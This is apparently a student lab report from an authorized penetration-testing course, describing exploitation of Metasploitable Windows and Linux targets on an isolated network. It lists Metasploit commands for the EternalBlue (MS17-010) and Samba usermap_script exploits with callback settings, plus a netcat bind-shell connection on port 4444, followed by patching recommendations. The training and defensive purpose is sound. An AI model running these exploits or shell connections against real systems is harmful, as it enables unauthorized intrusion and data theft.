

Windows and Linux Exploitation Validation

Professional Case Report 13

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Case ID	CSC-2026-13
Discipline	Penetration testing
Overall risk	Critical
Evidence status	Laboratory methodology supported by saved scan reports

Purpose

Validate whether identified weaknesses provide remote access and document the difference between detection and demonstrated impact.

Scope note

This report documents work performed in an authorized training environment. Confirmed findings are separated from methodology and expected laboratory behavior.

Executive Summary

Nmap and Nessus findings were used to select attack paths against Metasploitable Windows and Linux targets. The exercise converted scanner findings into measured impact. The targets were fully exposed because legacy services and missing patches created direct remote-code-execution paths.

Case Profile

Scenario	Nmap and Nessus findings were used to select attack paths against Metasploitable Windows and Linux targets.
Environment	Kali Linux attacker with Metasploitable 2 and Metasploitable 3 targets on an isolated network.
Tools	Nmap, Nessus, Metasploit, Netcat, Searchsploit

Methodology

I used the following sequence to keep the analysis repeatable and to separate observation from interpretation.

1. Performed service and OS detection across TCP and UDP.
2. Cross-checked Nessus findings against Nmap output.
3. Selected MS17-010 for the Windows target and Samba/NFS-oriented paths for Linux.
4. Demonstrated shell access and controlled file transfer with Netcat.
5. Recorded target, payload and callback settings.

Technical Findings

ID	Finding	Risk	Evidence and analysis
F01	MS17-010 exposure	Critical	The Windows Server 2008 R2 scan recorded an exploitable SMB condition associated with EternalBlue.
F02	Linux remote access paths	Critical	Metasploitable 2 exposed bind shell, rlogin, rsh, NFS and vulnerable Samba conditions.
F03	Root-level proof	Critical	The Nessus bind-shell check returned uid=0(root), demonstrating complete compromise impact.

Representative Commands and Actions

The following commands or analysis actions represent the core of the practical workflow.

```
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target_ip>
set LHOST <kali_ip>
use exploit/multi/samba/usermap_script
nc <target_ip> 4444
```

Risk Assessment

Risk	Level	Operational impact
Unauthenticated remote code execution	Critical	Full system compromise from the network
Sensitive file transfer	High	Shell access enables removal of system and user data

Recommendations

1. Apply vendor patches and remove obsolete services.
2. Require SMB signing and restrict SMB between network segments.
3. Disable trust-based rlogin and rsh services.
4. Monitor reverse-shell and Netcat-like connections.

Knowledge Demonstrated

- Exploit validation
- Windows and Linux targeting
- Nessus correlation
- Netcat transfer

Conclusion

The exercise converted scanner findings into measured impact. The targets were fully exposed because legacy services and missing patches created direct remote-code-execution paths.

Hands On Lab Practical 13

Completed as part of the authorized cyber security course practical work.